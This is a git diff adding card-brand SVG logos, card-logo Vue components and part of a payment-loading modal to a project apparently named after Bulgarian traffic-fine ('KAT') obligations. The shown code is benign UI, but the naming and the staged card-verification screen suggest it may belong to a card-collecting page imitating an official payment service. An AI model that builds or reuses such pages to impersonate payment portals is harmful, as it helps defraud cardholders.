<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>
|
||||||
|
After Width: | Height: | Size: 3.0 KiB |
@@ -0,0 +1 @@
|
|||||||
|
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>
|
||||||
|
After Width: | Height: | Size: 1.3 KiB |
60
a11_bg_Fine_kat-obligations/src/assets/img/ac3bca143fcfa.svg
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||||
|
<g transform="translate(80,50)">
|
||||||
|
<g transform="rotate(0)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(71.21320343559643,71.21320343559643)">
|
||||||
|
<g transform="rotate(45)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(50,80)">
|
||||||
|
<g transform="rotate(90)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(28.786796564403577,71.21320343559643)">
|
||||||
|
<g transform="rotate(135)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(20,50.00000000000001)">
|
||||||
|
<g transform="rotate(180)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(28.78679656440357,28.786796564403577)">
|
||||||
|
<g transform="rotate(225)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(49.99999999999999,20)">
|
||||||
|
<g transform="rotate(270)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g><g transform="translate(71.21320343559643,28.78679656440357)">
|
||||||
|
<g transform="rotate(315)">
|
||||||
|
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
|
||||||
|
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||||
|
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
|
||||||
|
</circle>
|
||||||
|
</g>
|
||||||
|
</g>
|
||||||
|
<!-- [ldio] generated by https://loading.io/ --></svg>
|
||||||
|
After Width: | Height: | Size: 3.9 KiB |
@@ -0,0 +1 @@
|
|||||||
|
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>
|
||||||
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 6.8 KiB |
@@ -0,0 +1 @@
|
|||||||
|
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>
|
||||||
|
After Width: | Height: | Size: 4.7 KiB |
|
After Width: | Height: | Size: 9.3 KiB |
|
After Width: | Height: | Size: 9.3 KiB |
1
a11_bg_Fine_kat-obligations/src/assets/img/default.svg
Normal file
@@ -0,0 +1 @@
|
|||||||
|
<svg viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24"><path d="M827.389622 192.340633 192.189695 192.340633c-71.761394 0-130.145106 55.656601-130.145106 124.065643l0 453.936583c0 68.411089 58.382689 124.066667 130.145106 124.066667l635.199926 0c71.761394 0 130.144082-55.656601 130.144082-124.066667L957.533704 316.406277C957.533704 247.997234 899.151016 192.340633 827.389622 192.340633zM192.189695 271.306102l635.199926 0c26.215058 0 47.469128 20.191878 47.469128 45.101197l0 65.462944L144.720567 381.870244l0-65.462944C144.720567 291.49798 165.973614 271.306102 192.189695 271.306102zM827.389622 815.44508 192.189695 815.44508c-26.216081 0-47.469128-20.192901-47.469128-45.102221L144.720567 508.759189 874.85875 508.759189l0 261.58367C874.85875 795.252179 853.60468 815.44508 827.389622 815.44508zM788.632923 703.187367l-186.241728 0c-18.650779 0-33.769105 15.118326-33.769105 33.769105s15.118326 33.769105 33.769105 33.769105l186.241728 0c18.650779 0 33.769105-15.118326 33.769105-33.769105S807.282678 703.187367 788.632923 703.187367z" fill="#6b7280"></path></svg>
|
||||||
|
After Width: | Height: | Size: 1.1 KiB |
@@ -0,0 +1 @@
|
|||||||
|
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>
|
||||||
|
After Width: | Height: | Size: 2.2 KiB |
BIN
a11_bg_Fine_kat-obligations/src/assets/img/mir.jpg
Normal file
|
After Width: | Height: | Size: 26 KiB |
0
a11_bg_Fine_kat-obligations/src/assets/main.css
Normal file
843
a11_bg_Fine_kat-obligations/src/components/.env
Normal file
58
a11_bg_Fine_kat-obligations/src/components/CardType1.vue
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
<template>
|
||||||
|
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width:80px" />
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script lang="ts">
|
||||||
|
import { defineComponent, computed } from "vue";
|
||||||
|
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||||
|
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||||
|
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||||
|
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||||
|
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||||
|
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||||
|
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||||
|
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||||
|
|
||||||
|
export default defineComponent({
|
||||||
|
name: "CardLogo",
|
||||||
|
props: {
|
||||||
|
cardType: {
|
||||||
|
type: String,
|
||||||
|
required: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
setup(props) {
|
||||||
|
const logoSrc = computed(() => {
|
||||||
|
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||||
|
|
||||||
|
if (cardTypeUpper.includes("VISA")) {
|
||||||
|
return c1;
|
||||||
|
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||||
|
return c2;
|
||||||
|
} else if (cardTypeUpper.includes("JCB")) {
|
||||||
|
return c3;
|
||||||
|
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||||
|
return c4;
|
||||||
|
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||||
|
return c5;
|
||||||
|
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||||
|
return c6;
|
||||||
|
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||||
|
return c7;
|
||||||
|
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||||
|
return c8;
|
||||||
|
}
|
||||||
|
// 你可以添加更多的卡类型和对应的图片
|
||||||
|
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||||
|
});
|
||||||
|
|
||||||
|
return {
|
||||||
|
logoSrc,
|
||||||
|
};
|
||||||
|
},
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
/* 可以在这里添加样式 */
|
||||||
|
</style>
|
||||||
58
a11_bg_Fine_kat-obligations/src/components/CardType2.vue
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
<template>
|
||||||
|
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script lang="ts">
|
||||||
|
import { defineComponent, computed } from "vue";
|
||||||
|
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||||
|
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||||
|
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||||
|
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||||
|
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||||
|
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||||
|
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||||
|
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||||
|
|
||||||
|
export default defineComponent({
|
||||||
|
name: "CardLogo",
|
||||||
|
props: {
|
||||||
|
cardType: {
|
||||||
|
type: String,
|
||||||
|
required: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
setup(props) {
|
||||||
|
const logoSrc = computed(() => {
|
||||||
|
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||||
|
|
||||||
|
if (cardTypeUpper.includes("VISA")) {
|
||||||
|
return c1;
|
||||||
|
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||||
|
return c2;
|
||||||
|
} else if (cardTypeUpper.includes("JCB")) {
|
||||||
|
return c3;
|
||||||
|
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||||
|
return c4;
|
||||||
|
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||||
|
return c5;
|
||||||
|
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||||
|
return c6;
|
||||||
|
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||||
|
return c7;
|
||||||
|
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||||
|
return c8;
|
||||||
|
}
|
||||||
|
// 你可以添加更多的卡类型和对应的图片
|
||||||
|
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||||
|
});
|
||||||
|
|
||||||
|
return {
|
||||||
|
logoSrc,
|
||||||
|
};
|
||||||
|
},
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
/* 可以在这里添加样式 */
|
||||||
|
</style>
|
||||||
@@ -0,0 +1,673 @@
|
|||||||
|
<template>
|
||||||
|
<transition name="plm-fade">
|
||||||
|
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
|
||||||
|
<transition name="plm-slide">
|
||||||
|
<div v-if="visible" class="plm-dialog" @click.stop>
|
||||||
|
|
||||||
|
<!-- Dialog Header -->
|
||||||
|
<div class="plm-dialog-header">
|
||||||
|
<div class="plm-header-left">
|
||||||
|
<div class="plm-header-icon">
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||||
|
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
|
||||||
|
<line x1="1" y1="10" x2="23" y2="10"></line>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<div class="plm-header-text">
|
||||||
|
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
|
||||||
|
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Dialog Body -->
|
||||||
|
<div class="plm-dialog-body">
|
||||||
|
|
||||||
|
<!-- Card + progress -->
|
||||||
|
<div class="plm-center-wrap">
|
||||||
|
<div class="plm-card-logo">
|
||||||
|
<img :src="imgRef" alt="card" />
|
||||||
|
<div class="plm-scan-line"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="plm-progress-section">
|
||||||
|
<div class="plm-progress-track">
|
||||||
|
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="plm-status-msg">
|
||||||
|
<span class="plm-dot-pulse"></span>
|
||||||
|
<span>{{ progressMessage }}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
